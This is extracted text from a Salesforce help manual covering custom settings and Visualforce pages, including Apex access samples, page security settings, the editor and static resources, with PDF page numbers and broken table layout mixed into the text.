Custom Settings Overview Accessing Custom Settings Defining Custom Settings Adding Custom Settings Fields Adding Custom Settings Data

Accessing Custom Settings


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

You can access custom settings from formula fields, validation rules, Apex, and the Web services API. Some sample code segments are provided below. Formula Fields Formula fields only work for hierarchy custom settings; they cannot be used for list custom settings. For more information on using formula fields, see Creating On-Demand Applications: An Introduction to the Force.com Platform.
{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex Apex can access both custom setting types. Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package, the subscribing organization cannot edit the values or access them using Apex. For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide. Samples for List Custom Settings When you add data to a custom setting, you must name each set of data. Then you can distinguish between the sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns values for all custom fields associated with the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

1914

Develop

Custom Settings Overview

The following example uses the getValues method to return all the field values associated with the specified data set. This method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Samples for Hierarchy Custom Settings The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

The following example uses the getInstance method to return the data set values for the specified profile. The getInstance method can also be used with a user Id.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

Web Services API Custom settings that have Privacy defined as Public are exposed to the API in the same way custom objects are exposed. Note: If Privacy is defined as Protected, and the custom setting is contained in a managed package, the custom setting is not accessible using the API in either the developer organization or a subscribing organization. Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the Web Services API Developer's Guide. Note: You can also access custom settings data through a Standard Object Query Language (SOQL) query but this method doesn't make use of the application cache. It is similar to querying a custom object.

See Also:
Custom Settings Overview Custom Settings Limits Defining Custom Settings Apex Code Overview

Defining Custom Settings

1915

Develop

Defining Custom Settings

Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

To create or edit a custom setting: 1. Click Your Name > Setup > Develop > Custom Settings. 2. Click New to create a new custom setting, click Edit next to the name of a custom setting, or click Edit while viewing the details of a custom setting. Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete a custom setting installed from a managed package. 3. Define the following:
LabelEnter the label displayed in the application. Object NameEnter the name to be used when the custom setting is referenced by formula fields, validation rules,

Apex, or the Web services API. Note: Salesforce recommends using ASCII for the Object Name. The name can't exceed 38 ASCII characters. If you use double byte, there are additional limits on the number of characters allowed.
Setting TypeSelect a type of List or Hierarchy. The List type defines application-level data, such as country codes

or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be overridden at lower levels in the hierarchy. Important: After you save a custom setting, you cannot change this value.

VisibilitySelect a visibility of Protected or Public.

ProtectedIf the custom setting is contained in a managed package, subscribing organizations can't see the custom setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as if the Visibility was Public.) PublicThe custom setting is available through the Enterprise WSDL like any custom object. You can package custom settings defined as public. The subscribing organizations can edit the values, as well as access them using Apex and the API, regardless of the type of package (either managed or unmanaged). Important: After you save a custom setting, you cannot change this value.

1916

Develop

Viewing Custom Settings

4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences between your custom settings when you are viewing them in a list. 5. Click Save. Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the custom settings using a standard Apex or API script run by the subscribing organization after they have installed the package. After you create a custom setting, you must also add fields to the custom setting.

See Also:
Custom Settings Overview Adding Custom Settings Fields Adding Custom Settings Data

Viewing Custom Settings


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields. Click Your Name > Setup > Develop > Custom Settings, then click the name of the custom setting you'd like to view. While viewing a custom setting, you can do any of the following: Click Edit to make changes to a custom setting. Click Delete to delete a custom setting. Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete a custom setting installed from a managed package. Click Manage to add data to a custom setting.

In addition, click New to add fields to the custom setting.

See Also:
Custom Settings Overview Accessing Custom Settings Defining Custom Settings

1917

Develop

Adding Custom Settings Fields

Adding Custom Settings Fields


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions. Packages are not available in Database.com.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you define custom settings, you need to add custom fields to it. The custom fields contain the data, used by the custom setting. To add custom fields to a custom setting: 1. Click Your Name > Setup > Develop > Custom Settings. 2. Click the name of the custom setting that you want to add fields to. (If you just created a custom setting, you are taken directly to the Custom Setting Detail page.) 3. Click New. 4. Select a field type and click Next. 5. Enter the details for your custom field. 6. Once you confirm the information, click Save or Save & New. After you add the required fields, you need to add data and for hierarchy custom settings, specify the access level.

See Also:
Custom Settings Overview Defining Custom Settings Adding Custom Settings Data

Managing Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After defining custom settings and adding fields, populate the fields using the following steps: 1. Click Your Name > Setup > Develop > Custom Settings. 2. Click Manage next to a custom setting. Or from the detail page for a custom setting, click Manage.

1918

Develop

Managing Custom Settings Data

3. Provide or change values for the custom setting. If you are managing a list setting: Click New to add data to the fields. Click Edit next to the name of an existing set of data to change the name of the data set or to change the data. Click Del next to the name of an existing set of data to delete the data set. If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data (organization, profile, or user). To add default data at the organization level: Click New in the Default Organization Level Value section. If data has already been defined for the organization, you can only edit or delete it. To add default data at the profile or user level: Click New in the lower section of the page, near the Setup Owner. After you have already defined data, you can do any of the following: Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or Delete to delete it (this is only for hierarchical custom settings.) Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.) Click Edit next to the name of an existing set of data to change the name of the data set or to change the data. Click Del next to the name of an existing set of data to delete the data set.

See Also:
Custom Settings Overview Custom Settings Limits Adding Custom Settings Fields Adding Custom Settings Data

Adding Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you define your custom settings and add fields, you need to populate the fields with data. You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using Apex, formula fields, and so on.

1919

Develop

Managing Custom Settings Data

For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application, that data is used. For example, you might want to specify different contact numbers for your application: one for the general user, and one that is only displayed for system administrators. To add data to custom setting fields: 1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting. Or from the detail page for a custom setting, click Manage. 2. Click New or Edit next to an existing data set. 3. Add or change data. For custom settings that are lists, do the following: a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on. b. Enter or change data for all fields. c. Click Save. For custom settings that are hierarchies, do the following: a. For the default organization level values, enter or change the data for the fields. The default organization location is automatically populated. b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the profile or user, or use the lookup dialog search. Then enter or change the data for the fields. c. Click Save.

See Also:
Custom Settings Overview Defining Custom Settings Viewing Custom Settings Managing Custom Settings Data Adding Custom Settings Fields

Viewing Custom Settings Data


Available in: Group, Personal, Developer, Enterprise, Unlimited, and Database.com Editions.

User Permissions Needed To manage, create, edit, and delete custom settings: Customize Application

After you add fields and add data to those fields, you can view the data: 1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting that has already been defined. Or from the detail page for a custom setting, click Manage.

1920

Develop

Visualforce Overview

2. Click View next to the data set you want to view (this is only for hierarchical custom settings.)

See Also:
Custom Settings Overview Defining Custom Settings Adding Custom Settings Fields Adding Custom Settings Data

Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the Salesforce user interface. With Visualforce you can: Create custom user interfaces that easily leverage standard Salesforce styles Create custom user interfaces that completely replace the standard Salesforce styles Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction

Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in standard Salesforce pages, or developers can associate their own logic with a custom controller or controller extension written in Apex.

Browser Security Settings and Visualforce


Some Visualforce pages are run from *.force.com servers. If you set your browser's trusted sites to include *.salesforce.com, you must also add *.force.com to the list. Depending on your browser and browser settings, you may see an error similar to the following on some pages: Your browser privacy settings have prevented this page from showing some content. To display this content you need to change your browser privacy settings to allow "Third Party" cookies from the domain mypages.na1.visual.force.com. Alternatively, if your browser is Internet Explorer, you can add mypages.na1.visual.force.com. to your trusted sites list in the security options page. Salesforce includes a Platform for Privacy Preferences Project (P3P) header on some pages. The header is composed of the following settings: Purpose CUR - Information is used to complete the activity for which it was provided. Category STA - Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a particular site or accessed particular content previously; for example, HTTP cookies.

1921

Develop

How Do Visualforce Pages Compare to S-Controls?

Recipient OTR - Legal entities following different practices. Users cannot opt-in or opt-out of this usage. If your browser is configured to support P3P, this header allows all Visualforce pages to display. For information on P3P, see Platform for Privacy Preferences (P3P) Project. If your browser is set to block third-party cookies, and it does not use the P3P header, and you see an error similar to the one above, perform one of the following actions: Configure P3P for your browser Change your browser settings to allow third-party cookies Add the appropriate server to your browser's cookies exception list

See Also:
Enabling Development Mode Defining Visualforce Pages Managing Visualforce Pages Viewing and Editing Visualforce Pages Creating Visualforce Tabs What is a Static Resource? What is a Custom Component? Developer's Guide: Visualforce Developer's Guide

How Do Visualforce Pages Compare to S-Controls?


Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible, both for their increased performance and the ease with which they can be written. The following table outlines the differences between Visualforce pages and s-controls. Visualforce Pages Required technical skills Language style Page override model HTML, XML Tag markup Assemble standard and custom components using tags S-Controls HTML, JavaScript, Ajax Toolkit Procedural code Write HTML and JavaScript for entire page No No No

Standard Salesforce component library Yes Access to built-in platform behavior Data binding Yes, through the standard controller Yes

Developers can bind an input component Developers can't bind an input (such as a text box) with a particular field component with a particular field. (such as Account Name). If a user saves Instead, they must write JavaScript code

1922

Develop

Enabling Development Mode

Visualforce Pages

S-Controls

a value in that input component, it is also that uses the API to update the database saved in the database. with user-specified field values. Stylesheet inheritance Respect for field metadata, such as uniqueness Yes Yes, by default If a user attempts to save a record that violates uniqueness or requiredness field attributes, an error message is automatically displayed and the user can try again. No, must bring in Salesforce stylesheets manually Yes, if coded in JavaScript using a describe API call If a user attempts to save a record that violates uniqueness or requiredness field attributes, an error message is only displayed if the s-control developer wrote code that checked those attributes.

Interaction with Apex Performance

Direct, by binding to a custom controller Indirect, by using Apex webService methods through the API More responsive because markup is generated on the Force.com platform Less responsive because every call to the API requires a round trip to the serverthe burden rests with the developer to tune performance In an iFrame

Page container

Native

Enabling Development Mode


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable development mode: Customize Application

Although you can view and edit Visualforce page definitions from the setup area by clicking Your Name > Setup > Develop > Pages, enabling Visualforce development mode is the best way to build Visualforce pages. Development mode provides you with: A special development footer on every Visualforce page. The footer includes an editor for the page markup, its view state, any associated controller, as well as a link to the component reference documentation. The page markup editor offers highlighting, find-replace functionality, and auto-suggest for component tag and attribute names. The ability to define new Visualforce pages just by entering a unique URL Error messages that include more detailed stack traces than what standard users receive

To enable Visualforce development mode:

1923

Develop

Defining Visualforce Pages

1. Click Your Name > Setup > My Personal Information > Personal Information, and click Edit. 2. Select the Development Mode checkbox. 3. Optionally, select the Show View State in Development Mode checkbox to enable the View State tab on the development footer. This tab is useful for monitoring the performance of your Visualforce pages. 4. Click Save.

See Also:
Visualforce Overview Defining Visualforce Pages Developer's Guide: Visualforce Developer's Guide

Defining Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and set version settings for Visualforce pages: Customize Application

You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup. To create a page using Visualforce developer mode: 1. In your browser, enter a URL in the following form: https://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value you want to give to the Name field on your page definition. For example, if you want to create a page called HelloWorld and your Salesforce organization uses the na3.salesforce.com instance, enter https://na3.salesforce.com/apex/HelloWorld. Note: Page names cannot be longer than 40 characters.

2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page. Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the nameOfNewPage value you specified in the URL. To create pages in Setup: 1. Click Your Name > Setup > Develop > Pages. 2. Click New. 3. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

1924

Develop

Defining Visualforce Pages

4. In the Label text box, enter the text that should be used to identify the page in Setup tools, such as when defining custom tabs, or overriding standard buttons. 5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately 1,000,000 characters. 6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use. Generally, you should use the default values for all versions. This associates the page with the most recent version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package components or functionality that differs from the most recent package version. 7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and continue editing your page. Your Visualforce markup must be valid before you can save your page. Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode enabled so they can view and edit pages in a single window. Once your page has been created, you can access it using a URL in the following form: http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the Name field on your page definition.

See Also:
Visualforce Overview Enabling Development Mode Managing Visualforce Pages Viewing and Editing Visualforce Pages Creating Visualforce Tabs What is a Static Resource? Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and set version settings for Visualforce pages: Customize Application

To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API,

1925

Develop

Defining Visualforce Pages

and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known behavior. A package version is a number that identifies the set of components uploaded in a package. The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release. If there is no patchNumber, it is assumed to be zero (0). Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking existing customer integrations using the package. To set the Salesforce API and Visualforce version for a Visualforce page: 1. Edit a Visualforce page and click Version Settings. Note: You can only access the version settings for a page if you edit a page by clicking Your Name > Setup > Develop > Pages. You cannot access them if you edit a page using Developer Mode. 2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page. 3. Click Save. To configure the package version settings for a Visualforce page: 1. Edit a Visualforce page and click Version Settings. 2. Select a Version for each managed package referenced by the Visualforce page. This version of the managed package will continue to be used by the Visualforce page if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the page or component. 3. Click Save. Note the following when working with package version settings: If you save a Visualforce page that references a managed package without specifying a version of the managed package, the Visualforce page is associated with the latest installed version of the managed package by default. You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce page. Use Show Dependencies to find where the managed package is referenced.

See Also:
Defining Visualforce Pages Enabling Development Mode Managing Visualforce Pages Viewing and Editing Visualforce Pages Creating Visualforce Tabs What is a Static Resource? Managing Packages Developer's Guide: Visualforce Developer's Guide

Managing Visualforce Pages

1926

Develop

Managing Visualforce Pages

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit Visualforce pages: Customize Application

After creating Visualforce pages, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Pages to display the Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page, you can: Click New to define a new Visualforce page. Click a page name to display detailed information about the page, including its label and Visualforce markup. Click Edit next to a page name to modify the page's name, label, or Visualforce markup. Note: A icon indicates that a Visualforce page is in an installed managed package. You cannot edit or delete a Visualforce page in a managed package. Click Del to remove a page. Click Security to manage the security for the page. Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed package. However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace Prefix on page 1782.

See Also:
Visualforce Overview Viewing and Editing Visualforce Pages Creating Visualforce Tabs Visualforce Page Security Overview Developer's Guide: Visualforce Developer's Guide

Visualforce Page Security Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can specify which users can execute a particular Visualforce page based on their profile or an associated permission set. Permission for a Visualforce page is checked at the top level only. Once users can access a page, they can execute all Apex that's associated with the page. This includes:

1927

Develop

Visualforce Page Security Overview

The controller for the page and any Apex classes called from the controller class Any extension classes for the page and any Apex called from an extension Any Apex classes associated with custom components within the page Any classes associated with the page through the use of apex:include or apex:composition

For example, if page A depends on a controller that calls an Apex class B, and a user has access only to page A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated controller, security is only checked for the controller associated with the page. You can set Visualforce page security from: A Visualforce page definition Permission sets Profiles

If users have the Customize Application permission, they can access all Visualforce pages in the associated organization. However, they may still have restrictions related to Apex classes. The Customize Application permission doesn't allow users to ignore those restrictions in a Visualforce page unless they have Visualforce page access. Also, to include Apex in a page, users must have the Author Apex permission or access to the Apex class. Note: Organizations with Force.com sites or Customer Portals can enable Visualforce pages either by assigning them to user profiles or by enabling them for the entire site.

See Also:
Managing Visualforce Pages Apex Class Security Overview

Setting Visualforce Page Security from a Page Definition


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set Visualforce page security: Manage Users AND Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Develop > Pages. Next to the name of the page that you want to restrict, click Security. Select the profiles that you want to enable from the Available Profiles list and click Add. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.

1928

Develop

Visualforce Page Security Overview

5. Click Save.

See Also:
Visualforce Page Security Overview

Setting Visualforce Page Security from Profiles


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set Visualforce page security: Manage Users AND Customize Application

1. 2. 3. 4.

Click Your Name > Setup > Manage Users > Profiles. Click the name of the profile you want to modify. Go to the Visualforce Page Access page or related list and click Edit. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove. 5. Click Save.

See Also:
Visualforce Page Security Overview User Profiles Overview

Setting Visualforce Page Security from Permission Sets


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit Visualforce page access settings: Manage Users

1. Click Your Name > Setup > Manage Users > Permission Sets. 2. Select a permission set. 3. Click Visualforce Page Access.

1929

Develop

Viewing and Editing Visualforce Pages

4. Click Edit. 5. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove. 6. Click Save.

See Also:
Visualforce Page Security Overview Permission Sets Overview

Viewing and Editing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To clone, edit, or delete Visualforce markup: To edit custom Visualforce controllers Customize Application Author Apex

Click Your Name > Setup > Develop > Pages and click the name of a Visualforce page to view its details, including when it was created, when it was last modified, and the Visualforce markup associated with the page. From the detail page, you can do any of the following: Click New to create a new page Click Edit to edit existing page markup. Click Delete to delete the page. Click Clone to create a copy of the page. You must specify a new name for the new page. Click Where is this used? to view a list of all references to the page in your organization. Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be valid. For more information, see Understanding Dependencies on page 1801. Note: If the Visualforce page is contained in an installed managed package, you can only view the page. You cannot edit, delete or clone it. To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API. If the page references components, such as a custom object, in an installed managed package, the version settings for each managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package, the Installed Package indicates the package name. The Available in Package Versions field gives the range of package versions in which the Visualforce page is available. The first version number in the range is the first installed package version that contains the Visualforce page.

1930

Develop

Uncaught Exceptions in Visualforce

Viewing and Editing Visualforce Pages with Development Mode Enabled


With development mode enabled, you can view and edit the content of a page by navigating to the URL of the page. For example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter https://na3.salesforce.com/apex/HelloWorld in your browser's address bar. After enabling development mode, all Visualforce pages display with the development mode footer at the bottom of the browser: Click Page Editor to view and edit the associated Visualforce markup without having to return to the Setup area. All changes you make to the page markup immediately display when you save the page. If the page uses a custom controller, click Controller to edit the associated Apex class. If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you edit the associated Apex class. If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce page. Click Save (just above the edit pane) to save your changes and refresh the content of the page. Click Component Reference to view the documentation for all supported Visualforce components. Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers, or other pages.

See Also:
Visualforce Overview Enabling Development Mode Defining Visualforce Pages Managing Visualforce Pages Creating Visualforce Tabs Managing Version Settings for Visualforce Pages Managing Packages About Package Versions Developer's Guide: Visualforce Developer's Guide

Uncaught Exceptions in Visualforce


If a Visualforce page that you did not develop has a error or uncaught exception You see a simple explanation of the problem in Salesforce. The developer who wrote the page receives the error via email with your organization and user id. No other user data is included in the report.

If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception type, and a notification that the developer has been notified by email. If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception message. You may also see a message indicating that the developer has been notified. If you are in development mode, you will see the exception message, the exception type, and the Apex stack trace.

Using the Editor for Visualforce or Apex


1931

Develop

Using the Editor for Visualforce or Apex

Apex is available in: Unlimited, Developer, and Enterprise Editions

Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit Visualforce markup: To edit custom Visualforce controllers or Apex Customize Application Author Apex

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( )

Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next. To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger. To make the search operation case sensitive, select the Match Case option. To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it with <H2$1$2>.

Go to line (

This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( )

Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor.

1932

Develop

Using the Editor for Visualforce or Apex

Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.

Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor. The editor supports the following keyboard shortcuts:
Tab

Adds a tab at the cursor


SHIFT+Tab

Removes a tab
CTRL+f

Opens the search dialog or searches for the next occurrence of the current search
CTRL+r

Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g

Opens the go to line dialog


CTRL+s

Performs a quick save.


CTRL+z

Reverses the last editing action


CTRL+y

Recreates the last editing action that was undone

See Also:
Core JavaScript 1.5 Guide:Regular Expressions Viewing and Editing Visualforce Pages

Creating Visualforce Tabs

1933

Develop

Creating Visualforce Tabs

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create Visualforce Tabs: Customize Application

You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce. To create a Visualforce tab: 1. Click Your Name > Setup > Create > Tabs. 2. Click New in the Visualforce Tabs related list. 3. Select the Visualforce page to display in the custom tab. If you have not already created the Visualforce page, click Create a new page now and follow the instructions in Defining Visualforce Pages on page 1924. 4. Specify the label that displays on the tab. 5. Click the Tab Style lookup icon to display the Tab Style Selector. If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 6. Click a tab style to select the color scheme and icon for the custom tab. Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your organization has access to the Documents tab. To create your own tab style: a. Click the Color lookup icon to display the color selection dialog and click a color to select it. b. Click Insert an Image, select the document folder, and select the image you want to use. Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes your search term. Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available checkbox selected in the document property settings. For more information, see uploading images and document property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears. 7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a mobile web browser. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs on page 886. Review the considerations for building Visualforce pages that are compatible with mobile browsers before mobilizing a Visualforce tab. Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization. 8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For information about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page

1934

Develop

What is a Static Resource?

1166. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the Visualforce tab. 9. Enter a description of the tab, if desired, and click Next. 10. Choose the user profiles for which the new custom tab will be available: Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down list. Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab Hidden from the drop-down list for each profile.

11. Specify the custom apps that should include the new tab. See What is an App? on page 1591 for information on custom apps. 12. Check Append tab to users' existing personal customizations to add the new tab to your users customized display settings if they have customized their personal display. 13. Click Save.

See Also:
Visualforce Overview Defining Visualforce Pages Developer's Guide: Visualforce Developer's Guide

What is a Static Resource?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar files), images, stylesheets, JavaScript, and other files. Using a static resource is preferable to uploading a file to the Documents tab because: You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive. You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding document IDs: To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is the name you specified when you uploaded the resource. For example:
<apex:image url="{!$Resource.TestImage}" width="50" height="50" />

or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

1935

Develop

What is a Static Resource?

To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50" />

or
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in your CSS file, namedstyles.css, you have the following style:
table { background-image: img/testimage.gif }

When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure is preserved in the archive. Then upload the archive file as a static resource named style_resources. Then, in your page, add the following component:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the image is displayed. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static resources apply to your organization's quota of data storage.

See Also:
Defining Static Resources Managing Static Resources Viewing and Editing Static Resources Visualforce Overview Developer's Guide: Visualforce Developer's Guide

Defining Static Resources

1936

Develop

Defining Static Resources

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create static resources: Customize Application

